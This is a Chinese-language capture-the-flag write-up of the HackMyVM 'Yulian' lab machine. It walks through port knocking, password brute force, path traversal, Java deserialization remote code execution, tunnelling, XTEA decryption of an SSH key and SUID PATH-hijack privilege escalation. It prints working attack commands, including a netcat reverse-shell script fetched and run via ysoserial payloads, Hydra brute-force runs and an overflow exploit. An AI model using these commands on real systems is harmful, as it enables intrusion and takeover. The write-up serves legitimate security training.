HackMyVM Yulian 通关记录|端口敲门、Java 反序列化、XTEA 解密与 SUID PATH 劫持提权
靶机链接:Yulian
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Yulian 宿主机 | 192.168.1.111 | 运行 Docker 引擎,暴露端口 22, 80 |
| 容器1 (Spring) | 172.17.0.3 | 暴露端口 8080 (需敲门解锁) |
| 容器2 (SSH) | 172.17.0.2 | 内网机器,运行 SSH 与 Nginx |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp, 80/tcp, 隐藏 8080/tcp | 明确主要攻击面 |
| 端口敲门 | test.c PRNG 逻辑 | 获得开放 8080 端口的序列 |
| Web 登录 | admin:123457 | 爆破获得后台权限 |
| 任意文件读取 | /download?file=/root/user.txt | 获得 User Flag |
| 反序列化 RCE | /deserialize 接口 | 获取容器初始据点 |
| 内网隧道 | 容器2 172.17.0.2 | 搭建 Chisel 隧道进行 SSH 爆破 |
| 逆向解密 | /usr/bin/userLogin XTEA 算法 | 解密获取宿主机用户 ldz 的私钥 |
| Root 提权 | SUID /opt/vuln | 利用缓冲区溢出和 PATH 劫持获取 root |
0x02 侦察与信息收集 (Reconnaissance)
1. 发现端口敲门 (Port Knocking)
访问 80 端口的 JS 终端模拟器,发现隐藏的 test.c:
这类从前端 JavaScript、注释和静态资源里提取隐藏线索的思路,可参考知识库:robots.txt 与静态资源线索分析。
srand(114514);
for(int i = 0; i < 114514; i++) { rand(); }
printf("%d\n", rand()%65535); // → 6440
printf("%d\n", rand()%65535); // → 17226
printf("%d\n", rand()%65535); // → 31925
执行 nmap 敲门序列以解锁 8080 端口:
# 敲门序列: 6440 → 17226 → 31925,之后 8080 端口开放
nmap -Pn -p 6440 192.168.1.111
nmap -Pn -p 17226 192.168.1.111
nmap -Pn -p 31925 192.168.1.111
2. Web 服务暴力破解登录
使用 Hydra 爆破 8080 端口的 Spring Boot 应用登录框:
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f \
192.168.1.111 -s 8080 \
http-post-form "/login:username=^USER^&password=^PASS^:Wrong"
凭证: admin:123457
0x03 路径遍历与 User Flag
1. 任意文件读取
登录后通过 /download 接口发现路径遍历漏洞,并读取系统关键文件:
受限文件读取的路径、进程信息和环境变量排查清单,可参考知识库:LFI 任意文件读取与运行时信息收集。
# 获取 Session Cookie 后,读取敏感信息
curl -b "auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI=" \
"http://192.168.1.111:8080/download?file=/root/user.txt"
读取结果:
/etc/passwd→ Alpine Linux/proc/1/environ→JAVA_VERSION=8u212,HOME=/root/proc/1/cmdline→java -jar javaserver-0.0.1-SNAPSHOT.jar/root/user.txt→ User Flag:flag{ce6560c893e5cfec48e0fd186dc03718}
2. HMAC 密钥与 API 分析
利用文件读取漏洞下载了 javaserver-0.0.1-SNAPSHOT.jar 并反编译。发现:
- 认证算法使用了 HMAC-SHA256 (
SECRET_KEY = 123@456@789) - 暴露了
/deserialize接口,接收 POST 字节数组,并调用存在漏洞的CommonsCollections
0x04 Java 反序列化 RCE (CommonsCollections6)
由于系统是 Java 8 环境,我们生成 CommonsCollections6 payload 获取 Shell。
1. 准备反弹 Shell
cat > rev.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.113 4444 > /tmp/f
EOF
python3 -m http.server 8888
另开一个终端监听:
nc -lvnp 4444
2. 生成并发送 Payload
这里使用 JDK8 和 ysoserial 生成 CommonsCollections6 payload。服务端返回 404 是正常现象,因为异常被 Spring 处理机制捕获,但底层命令仍然会执行。
/tmp/jdk8u432-b06/bin/java -jar ysoserial-all.jar \
CommonsCollections6 "wget -O /tmp/rev.sh http://192.168.1.113:8888/rev.sh" > payload-wget.bin
/tmp/jdk8u432-b06/bin/java -jar ysoserial-all.jar \
CommonsCollections6 "chmod +x /tmp/rev.sh" > payload-chmod.bin
/tmp/jdk8u432-b06/bin/java -jar ysoserial-all.jar \
CommonsCollections6 "sh /tmp/rev.sh" > payload-shell.bin
用同一个 Cookie 依次投递三个 payload:
import requests
url = "http://192.168.1.111:8080/deserialize"
cookies = {"auth": "admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI="}
headers = {"Content-Type": "application/octet-stream"}
for name in ["payload-wget.bin", "payload-chmod.bin", "payload-shell.bin"]:
with open(name, "rb") as f:
resp = requests.post(url, data=f.read(), headers=headers, cookies=cookies)
print(name, resp.status_code)
获取到了 容器1 (172.17.0.3) 的 Root Shell!
0x05 内网穿透与 SSH 爆破
1. 发现容器2与资产扫描
为了寻找进一步的攻击面,我们在拿下的容器1内上传 fscan (或运行 Ping 探测脚本) 对 172.17.0.0/24 网段进行全面扫描:
# 上传并执行 fscan 进行内网扫描
/tmp/jdk8u432-b06/bin/java -jar ysoserial-all.jar \
CommonsCollections6 "wget -O /tmp/fscan http://192.168.1.113:8888/fscan" > fscan_dl.bin
# (通过反序列化接口发送执行)
chmod +x /tmp/fscan
./fscan -h 172.17.0.0/24 -p 1-65535 -t 3000
扫描发现:
172.17.0.1: Docker 网关 (宿主机),暴露 SSH(22), Nginx(80), Spring(8080)172.17.0.2: 存活的容器2,暴露 SSH(22/OpenSSH 10.0) 和 Nginx(80)172.17.0.3: 当前所在的容器1,暴露 Spring Boot(8080)
2. Chisel 端口转发
将容器2的 22 端口映射到 Kali 的 2222 端口,以进行进一步的利用。
# Kali 上运行服务端
/tmp/chisel server -p 9090 --reverse
# 容器1内运行客户端
/tmp/chisel client 192.168.1.113:9090 R:2222:172.17.0.2:22 &
3. Hydra 爆破
另外,容器2 的 80 端口主页 HTML 注释中泄露了 <!--500-worst-passwords--> 的提示。这指引我们使用常见的 Top 500 弱密码字典(例如从网上或 SecLists 获取的 g0tmi1k-500.txt 常见弱口令集合)爆破 SSH 密码:
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/top-500-worst-passwords.txt \
-O /tmp/g0tmi1k-500.txt
# W=1 延迟避免触发 SSH 速率限制
hydra -l root -P /tmp/g0tmi1k-500.txt -t 1 -W 1 -f ssh://127.0.0.1:2222
爆破结果: root:mountain
0x06 逆向分析与解密 SSH 私钥
登录容器2后,在 /usr/bin/userLogin 发现一个静态链接的二进制文件,以及加密文件 /etc/output.enc。
对应附件可直接下载:userLogin、output.enc。
1. 逆向 userLogin
分析发现其对文件进行了 XTEA 64轮加密:
key_from_fixed_string(): 从硬编码地址 (0x79010) 读取16字节密钥key-for-user-ldz- 算法有略微修改或对端序的特定要求。
2. 编写 Python 解密脚本
使用正确的位运算优先级解密:
import struct
def xtea_decrypt(block, key_bytes):
v0, v1 = struct.unpack('<II', block)
k = struct.unpack('<IIII', key_bytes)
DELTA = 0x9E3779B9
sum_val = (DELTA * 64) & 0xFFFFFFFF
for _ in range(64):
# 修复 Python 运算符优先级,加上最外层的括号
v1 = (v1 - ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum_val + k[(sum_val >> 11) & 3]))) & 0xFFFFFFFF
sum_val = (sum_val - DELTA) & 0xFFFFFFFF
v0 = (v0 - ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum_val + k[sum_val & 3]))) & 0xFFFFFFFF
return struct.pack('<II', v0, v1)
with open("/tmp/output.enc", "rb") as f:
flag_ct = f.read()
key = b'key-for-user-ldz'
flag_pt = b''
for i in range(0, len(flag_ct), 8):
if i+8 <= len(flag_ct):
flag_pt += xtea_decrypt(flag_ct[i:i+8], key)
# 清理 padding
flag_pt = flag_pt.rstrip(b'\x00')
with open("/tmp/ldz_id_ed25519", "wb") as f:
f.write(flag_pt)
解密后得到了 ldz 的合法 ED25519 SSH 私钥:
ssh-keygen -y -f /tmp/ldz_id_ed25519
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbrS2qBgUVXHgKVIUZIhWyyYpbqJsKhWK4X0TwdBrJm ldz@localhost
0x07 SUID 提权与 Root Flag
1. 初始宿主机访问
使用私钥登录宿主机:
ssh -i /tmp/ldz_id_ed25519 ldz@192.168.1.111
# uid=1000(ldz) gid=1000(ldz)
2. 发现 SUID 二进制及漏洞
find / -perm -4000 -type f 2>/dev/null
# 发现可疑文件: /opt/vuln
对应附件:vuln。自定义 SUID 二进制的常规枚举和静态分析流程,可参考知识库:SUID 自定义二进制静态分析。
/opt/vuln 会调用 system("cat /etc/shadow") 并且存在缓冲区溢出漏洞可覆写标记变量触发系统调用。
此外,Musl libc 环境下的 system() 不会为 SUID 程序清理环境变量 PATH!
3. PATH 劫持利用
利用 PATH 劫持并配合栈溢出完成提权:
# 编写伪造的 cat 命令并赋予执行权限,注意一定要写绝对路径 /bin/cat 避免无限递归
cat > /tmp/cat << 'INNER_EOF'
#!/bin/sh
/usr/bin/id
/bin/cat /root/root.txt
INNER_EOF
chmod 755 /tmp/cat
# 执行溢出同时注入环境 PATH
python3 -c "import sys; sys.stdout.buffer.write(b'A'*44 + b'\x01\x00\x00\x00')" | PATH=/tmp:/bin:/usr/bin /opt/vuln
执行结果:
uid=0(root) gid=1000(ldz) groups=1000(ldz)
flag{98ecb90d5dcef41e1bd18f47697f287a}
成功获取 Root 权限与 Root Flag。
0x08 最终成果 (Final Flags)
User Flag
- 路径: 容器1
/root/user.txt - 内容:
flag{ce6560c893e5cfec48e0fd186dc03718}
Root Flag
- 路径: 宿主机
/root/root.txt - 内容:
flag{98ecb90d5dcef41e1bd18f47697f287a}
凭据汇总
| 用户 / 服务 | 凭据 | 来源 |
|---|---|---|
Spring Boot 后台 admin | 123457 | Hydra 爆破 /login |
容器2 SSH root | mountain | 500-worst-passwords 提示后通过 Chisel 转发爆破 |
宿主机 ldz | ED25519 私钥 | 逆向 userLogin,用 XTEA 解密 output.enc |
复盘总结
- 端口敲门线索来自前端逻辑。
test.c中固定随机种子和丢弃次数决定了6440 -> 17226 -> 31925这组敲门序列,直接解锁隐藏的 8080 Spring 服务。 - 文件读取先服务于证据收集。
/download不只读取 user flag,还确认了 Alpine、Java 8、启动 jar 和后续反序列化入口。 - Java 反序列化的关键是环境匹配。 Java 8 与 CommonsCollections gadget 链满足利用条件,接口即使返回
404,底层命令仍可能已经执行。 - Docker 内网需要继续横向。 容器1 拿到 root 后不等于宿主机 root,内网扫描、Chisel 反向转发和 SSH 爆破把攻击面推进到容器2。
- 逆向要落到可用凭据。
userLogin中的 XTEA 密钥key-for-user-ldz只有和output.enc结合后,才转化为可登录宿主机的 SSH 私钥。 - SUID +
system()+ PATH 是危险组合。/opt/vuln通过栈变量覆写进入system("cat /etc/shadow"),而 musl 环境下 PATH 未被清理,让伪造cat获得 root 上下文。
附件下载
为了方便复现,本文涉及的逆向样本和加密文件已整理到站点静态目录:
| 文件 | 说明 |
|---|---|
| userLogin | 容器2 中用于恢复 XTEA 密钥的静态链接二进制 |
| output.enc | /etc/output.enc 加密文件,解密后得到 ldz 的 SSH 私钥 |
| vuln | 宿主机 /opt/vuln SUID 提权二进制 |